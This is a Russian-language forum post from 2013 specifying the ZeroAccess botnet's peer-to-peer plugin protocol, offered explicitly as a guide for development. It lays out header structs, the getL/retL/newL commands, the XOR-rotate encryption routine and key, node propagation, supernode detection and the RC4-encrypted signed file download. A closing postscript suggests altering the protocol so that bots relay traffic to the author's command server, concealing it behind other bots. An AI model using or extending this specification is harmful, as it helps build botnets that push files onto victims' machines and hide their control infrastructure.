Авторские статьи ZeroAccess plugin P2P или спецификация сетевого протокола

Discussion in 'Статьи' started by e17, 12 Mar 2013.

  1. e17

    e17 Member

    Joined:
    8 Feb 2013
    Messages:
    47
    Likes Received:
    57
    Reputations:
    81
    ZeroAccess plugin P2P или спецификация сетевого протокола как руководство для разработки


    Общее
    Представляет из себя простой P2P загрузчик. Реализован в ZeroAccess виде плагина. P2P сеть строится следующим образом. Каждый бот имеет свой список пар <IP, time> других ботов. И периодически обменивается с другими ботами своими актуальными IP. Кроме списка IP бот может получать сначала информацию о файле имеющуюся у другого бота, а потом сам файл. Все общение между ботами производится по UDP протоколу, лишь запрос информации и скачивание файлов TCP

    Протокол
    При старте бот начинает слушать порты UDP, TCP 16464
    Введу некоторое обозначение:

    Code:
    typedef unsigned char uint8;
    typedef unsigned short uint16;
    typedef unsigned int uint32;
    Бот считывает список нод из файла, формат файла:

    Code:
    struct CFG_NODE{
    [INDENT]uint32 ip;
    uint32 time;[/INDENT]
    };
    
    Все сообщения имеют заголовок формат:

    Code:
    struct HEAD{
    [INDENT]uint32 crc32;
    uint32 cmd;
    uint32 hop;
    uint32 data;[/INDENT]
    };
    За хидером следуют данные зависящие от команды cmd. Команд всего 3и:

    Code:
    getL - запросить список нод
    retL - отдать список нод
    newL - публикация ноды
    данные за хидером шифруются таким алгоритмом:
    Code:
    void encrypt(uint8 *data, int len_data){
    uint32 *p = (uint32*)data;
    uint32 count=len_data>>2;
    uint32 key = 'ftp2';
    [INDENT]do{
    [INDENT]*p ^= key;
    key = ROL(key, 1);
    p++;
    --count;[/INDENT]
    }while ( count );[/INDENT]
    }
    
    Команда getL
    Бот считывает ноды из файла и с периодом в 1с рассылает сообщение вида:

    Code:
    struct HEAD{
    [INDENT]uint32 crc32;
    uint32 cmd; // 'getL'
    uint32 hop;  // количество прыжков 0
    uint32 data; // сессия, случайное число sess[/INDENT]
    };
    
    HEAD head;
    Нода получает это сообщение и в ответ оправляет информацию о своих нодах и файлах retL. И если hop=0, то выполняет проверку на внешний IP бота отправителя. Для этого отправляет пакет:

    Code:
    struct HEAD{
    [INDENT]uint32 crc32;
    uint32 cmd; // 'getL'
    uint32 hop;  // количество прыжков 1
    uint32 data; // ip отправителя[/INDENT]
    };
    
    HEAD head;
    
    замете количество прыжков стало равно 1, это сообщение доходит в том случае если бот имеет внешний IP.

    Команда retL
    Отправляет в ответ на getL

    Code:
    struct HEAD{
    [INDENT]uint32 crc32;
    uint32 cmd; // 'retL'
    uint32 hop;  // значение из входящего сообщения (0 или 1)
    uint32 data; // sess из входящего пакета[/INDENT]
    };
    
    struct BLOCK_NODE{
    [INDENT]uint32 ip;
    uint32 time_delta;[/INDENT]
    };
    
    struct BLOCK_SIGN{
    [INDENT]uint32 name_file; //имя в виде числа 32 бита
    uint32 time;
    uint32 size;
    uint8 sign[128];[/INDENT]
    };
    
    
    HEAD head;
    uint32 count_node; //количество нод не более 16
    BLOCK_NODE node[count_node];
    uint32 count_sign;  //количество файлов не более 16
    BLOCK_SIGN sign[count_sign];
    Ноды в BLOCK_NODE выбираются в зависимости от времени CFG_NODE.time. При этом ноды сначала упорядочиваются по убыванию. Самое большое значение CFG_NODE.time считается самым актуальным. Выбирается не более 16и самых актуальных нод. И выполняется формирование пакетов BLOCK_NODE, причем время рассчитывается так:

    Определяется дельта для от текущей даты:

    Code:
    BLOCK_NODE.time_delta=now()-CFG_NODE.time
    При приеме пакета retL время восстанавливается:

    Code:
    CFG_NODE.time =now()-BLOCK_NODE.time_delta
    Новые ноды добавляются к имеющемуся списку, упорядочиваются, выбираются и сохраняются те которые не старше 32 дней.

    Если во входящем пакете hop=1, то бот считает себя нодой с внешним IP (супернодой), и выполняет отправку пакета newL 16 нодам из своего конфига CFG_NODE

    Команда newL
    Формируется в ответ на retL с hop=1 или newL

    Code:
    struct HEAD{
    [INDENT]uint32 crc32;
    uint32 cmd; // 'newL'
    uint32 hop;  // 8 прыжков или hop-1 из входящего
    uint32 data; // ip отправителя[/INDENT]
    };
    
    HEAD head;
    Сообщение рассылается 16и нодам из конфига бота.

    При получении ботами newL сообщения, извлекается HEAD.data (ip ноды), и проверяется наличие этого ip с имеющимся списком. Если такого ip не оказалось, то производится его добавление. И повторная рассылка 16и нодам с HEAD.hop - 1, так продолжается пока HEAD.hop не станет равным нулю или ip не будет известен всем нодам.

    Загрузка файлов
    В пакетах retL имеется количество count_sign и BLOCK_SIGN. Это информация о файлах которая имеется у бота. При получении такого пакета бот проверяет цифровую подпись BLOCK_SIGN.sign, затем смотрит есть ли у него имя файла BLOCK_SIGN.name_file, если такое имя имеется то выполняется проверка времени.
    При выполнении всех этих условий выполняется tcp соединение, и отправляется пакет:

    Code:
    struct BLOCK_FILE{
    [INDENT]uint32 name_file;
    uint32 time;
    uint32 size;[/INDENT]
    };
    
    BLOCK_FILE info;
    В ответ приходит файл зашифрованный RC4 с ключом md5(info). Файл расшифровывается и проверяется цифровая подпись, которая берётся из ресурсов принятого файла. Если все прошло успешно, то файл сохраняется.

    Дополнительная литература
    Старая версия протокола p2p модуля, и самого ZeroAccess
    hxxp://www.kindsight.net/sites/default/files/Kindsight_Malware_Analysis-ZeroAcess-Botnet-final.pdf
    p.s
    Хочу заметить что этот протокол рассчитан лишь на загрузку файлов на машины юзеров. Но его можно немного модифицировать, добавить код который сможет туннелировать трафик. В качестве одного из файлов раздавать список IP на которые будут стучаться боты. А те боты на которые происходит обращение будут переправлять траф на наш CC. В результате между ботами и СС, будет прокладка в виде тех же ботов.
     
    #1 e17, 12 Mar 2013
    Last edited: 16 Jun 2014